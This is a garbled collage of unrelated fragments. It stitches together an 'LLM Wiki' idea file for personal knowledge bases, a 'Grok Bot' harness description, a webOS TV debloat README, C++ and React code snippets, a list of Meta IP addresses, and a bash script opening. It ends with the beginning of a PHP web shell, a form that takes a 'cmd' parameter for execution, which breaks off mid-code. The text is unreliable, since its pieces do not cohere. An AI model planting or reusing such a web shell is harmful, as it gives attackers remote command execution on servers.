Sunbelt Computer Software

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

How the Grok Bot harness works - @gabefletcher

The Grok Bot host builds model requests, runs tools and saves the agent's state. Hosted services also handle identity, scheduling, sync and other features.

A message starts in the desktop app. The desktop sends it to the box host and shows the response. It also manages account connections and can run tools on the user's computer. The host builds the model's context, calls the provider, runs requested tools and saves the results. It then decides whether another model call is needed. The visible chat, model conversation and learned memory use separate stores. Changing the model provider leaves the other hosted service calls in place.

The original architecture sections cover public host 17e335e and desktop 0.52. The later comparison adds five-host source analysis, desktop .57.1 findings and isolated runtime measurements. Host and desktop have separate version number

Default shortcuts

Scrolling

webos-debloat

One shell script that makes a rooted LG webOS TV lighter and quieter:

hides bloat tiles and background apps from the launcher
stops preloading apps the TV keeps in RAM whether or not you open them
turns off home-screen promotions, promo videos, sports alerts, content recommendations and Live Plus (ACR)

Nothing is deleted and the root filesystem is never touched. It only edits

	/**
	* all credits go to original author seiftnesse (https://github.com/seiftnesse/CString)
	*/
	#ifndef CSTRING_HPP_GUARD
	#define CSTRING_HPP_GUARD
	#pragma once

	#include <Windows.h>
	#include <Shlwapi.h>

	import React, { useState, useRef, useEffect } from 'react';
	import { HiMenu } from 'react-icons/hi';
	import { AiFillCloseCircle } from 'react-icons/ai';
	import { Link, Route, Routes } from 'react-router-dom';

	import { Sidebar, UserProfile } from '../components';
	import Pins from './Pins';
	import { userQuery } from '../utils/data';
	import { client } from '../client';
	import logo from '../assets/logo.png';

	Meta (Instagram, Facebook)
	// Узлы
	157.240.253.174, 157.240.253.172, 157.240.253.167, 157.240.253.63, 157.240.253.32
	157.240.252.174, 157.240.252.172, 157.240.252.167, 157.240.252.63, 157.240.252.38
	57.144.112.34, 57.144.110.1, 157.240.205.174, 87.245.223.97

	// Подсети
	213.102.128.0/24
	204.15.20.0/22
	199.201.0.0/16

	#!/usr/bin/env bash

	# Abort sign off on any error
	set -e

	# Start the benchmark timer
	SECONDS=0

	# Repository introspection
	OWNER=$(gh repo view --json owner --jq .owner.login)

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{